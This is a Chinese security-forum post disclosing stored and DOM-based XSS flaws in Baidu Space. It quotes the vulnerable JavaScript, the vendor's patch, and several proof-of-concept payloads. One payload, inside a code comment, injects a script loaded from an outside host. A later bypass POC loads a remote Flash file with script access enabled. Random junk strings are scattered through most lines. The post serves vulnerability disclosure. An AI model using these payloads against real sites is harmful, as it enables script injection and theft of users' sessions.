找回密码
 立即注册
查看: 2908|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  ) K) f9 }: d/ K8 K
& O4 [$ T6 u+ D- A# j* g
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
) X, B. P; q" W4 u/ g# J2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  ! \1 K7 ?2 t7 ~- |/ E) s0 }' z
* |) w5 Z9 V/ r: L. p# c2 d
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
3 z8 K6 k# g- ~4 U; H% ^其中BdUtil.insertWBR为  
/ h' F4 z3 h+ h* D6 sfunction(text, step) {  
" a9 V9 N# W3 O( T+ V8 ?    var textarea = textAreaCache || getContainer();  " [2 t' x7 Y2 C/ \3 X' f% U3 `
    if (!textarea) {  
, a* e  @% F% _1 g2 |6 W        return text;  
2 N' [. c$ _/ K6 k    }  + F% S( t3 m! ?# E5 U
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
9 H/ J$ A7 F+ S( D% u7 y- X    var string = textarea.value;  
( c2 ]( s5 H' n    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  4 O- Y0 t3 k; c& v% M- c
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  ' T/ w5 c* k  o' E2 q* ^+ D
    return result;  ' {, J2 A0 L1 D& v2 I
}  4 i* E# G  X  R8 K9 E) r& c
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
) ]( o5 W5 W) i% k测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
5 i- Z" F2 ^8 W( j* C   
; `7 e4 b& @+ L: W, r5 C! ^3 j二:creatbgmusic() Dom-Xss Bug  
  z+ p4 s# ?8 w' o* h百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  2 g$ l. Z' }7 I$ @) U

+ A$ d) {' _. H+ Chttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  , Y; X% o: s2 C( N1 G

5 S) I$ {. M4 G+ g) \function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
  }  m' C0 B7 p) t* J, c, `* X- x    //传入的murl赋值到bgmusic1和bgmusic2中  
/ z2 u! c9 i& W3 |- k- o9 F; I    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
; _2 \! m+ w" A% ~& t; U1 n    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  % q1 S. p( b$ T
    if (musicnum <= 1) {  
# f" w% j  f, L  y8 z        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  * r( o& s! J$ v0 T6 a& m
    }  7 I& N0 r9 b7 \' c  h0 R
    bgmusic1 += "</OBJECT>";  # I9 p9 Z2 V3 }# S5 u5 I: {
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  . K' Z: A! L( V# Z* v
    if (musicnum <= 1) {  6 ?7 W" y: k+ Q, }' ^7 r
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";    u, N( C: z/ p- i) {! b
    }  
: T" Y+ K$ ?) G    bgmusic2 += "> </EMBED>";  
. I0 J& e: y' ~* b    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  4 Q  b& J2 h, g1 u- b* V* A
    var bgmus = detectWMP();  ; C- ^2 U/ R# F) C: X+ Q9 g: D: {
    if (functype == "FckMusicHelper") {  : l0 S7 {, q) H6 e- U- U, Y; X% l3 ]
        if (bgmus.installed) {  
* q5 b- c6 P/ t! Z, J9 a            if (bgmus.type == "IE") {  3 X) p* p8 r3 B$ T
                return bgmusic1;  
, e- y6 ^" R) Q8 w$ \' ]: y5 H" U            } else if (bgmus.type == "NS") {  * V' m4 U. y6 h4 j3 s5 S
                return bgmusic2;  & x. n7 \; s0 s) q8 y+ A
            }  / p1 s" {! c! c) y
        } else {  
( r+ X7 C! L: w; ?- ]1 V8 F            return bgmusic3;  
" E9 z/ z  s3 q2 G1 p% g        }  
" X2 m; ?6 m2 o7 ]2 ~& Y    } else {  
, T8 g6 ]. j- P0 @3 E/ L0 j; ~, I4 ^, S        if (bgmus.installed) {  
2 h3 S2 q: t) _# r            //document.write 直接输出bgmusic变量 导致xss  & V( g) G( t7 J$ W5 \
            if (bgmus.type == "IE") {  % v" b4 G6 J. r+ b8 N' K& G
                document.write(bgmusic1);  
' U0 W2 }; O3 H8 b" G3 N            } else if (bgmus.type == "NS") {  
- T9 z# w0 [$ U" s                document.write(bgmusic2);  
# t# v& V. l% R! N            }  
/ @3 g1 `1 N' @! o0 m        } else {  # Y, G: z0 ^2 V: E/ h( e, f
            document.write(bgmusic3);  
( b/ g/ c& y$ k; r4 J$ J8 T        }  
" j9 U) V# t- @) ~4 r/ D! L7 P        return "";  
' }) o/ l$ n/ s    }  " N5 v2 j+ E3 S1 |/ @- L2 j1 S6 u2 J
}  
8 _8 U3 V4 g! O4 r& F6 K9 U4 t" X: t; p2 n
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
) Y. q) q1 X) p) o$ G* B
5 R4 s9 X+ w  p( r  M# Kfunction initBlogTextForFCK(){  
5 q9 }7 o) C( \& A% l) c//fck init music  . }% I3 ]  M  t$ f
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
! F* Y. E# P* Ivar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  7 V8 m: C0 ?3 h
var isAutoPlay=true;  
, e, C/ u9 a, J, I  Hfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
$ U- M; [. d$ x: `  var img=imgBox;    c/ I4 a4 [. W8 O) s& u: g' c
  if(img.getAttribute(’rel’)){        4 k6 ]) U5 @/ Y- Q
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
% `6 N! D' T4 C! _: }: I8 ~8 l   var musicDiv = document.createElement("SPAN");  
; @, }, l! X3 ]0 e  G; p9 H4 ]8 _  ]   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  / p9 X1 x6 ^8 y/ I  k
     ; j- \' d+ K/ i$ G+ {2 V3 H
      ..........................  
$ w. J( h9 ^5 Z. _) h  t     4 r: \+ k" z* \
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   - P9 N: e/ k( V3 g( D9 e  J1 h1 l
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
' Y* A3 E" e6 G9 o& _  b   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
( c% F2 X# V: J   musicDiv.innerHTML=shtml;  
  Y& d" b7 W$ B! k% f- g& n  C& |   i--;n--;  
) \6 J4 D( d! Z& x5 \' x  }  
) B8 f3 M* V, b/ N}  ) S8 K2 U' O* D0 l9 `

7 x: o  n# c4 c+ a从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
' A: E7 p  @3 o4 l, J9 L   
, g# P( `; u: A7 [测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
! A/ L: L1 |* o: U
3 A: g# {0 r, M7 {' H, t等待官方补丁  
1 q7 d. T# A) w7 i! S# W! Q2 I: m7 g  h
update 2010年5月13日   
- v. a) x- H2 }+ J: a- \/ D( c( z) R6 x' W+ P) ]; B. _' w2 H
官方补丁:  
4 A% c0 S  G5 w' X& l1 _$ N' r: z$ P: q5 `2 _
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  7 O8 L) ^8 }1 n, R# E& @
改为:  5 W7 \: w! U9 m6 ]& W( X: Q  g8 [
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  & |- Y5 W0 i1 d- b/ Q

) x( ]) `4 L# u# aupdate 2010年5月13日 21:50:37  " f/ b; c+ i8 R$ G( J
1 U) u  p) f( e: |: M9 x5 s( p
补丁存在漏洞 没有过滤" 可以继续跨:  
1 \# X( a' L" C7 A! o
( ~1 p$ x$ a# @4 H9 yNEW POC:  
' `( Y2 _7 y& a
/ j/ J: d1 E; ^) Z* M# ~$ ?3 A<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
* u0 N7 X# w# @7 H- S4 q2 g
9 y# e& Z+ m) ~: h& }, hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 J0 {( {5 b8 X: I; c" W' j ! d. N7 g& @0 W5 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表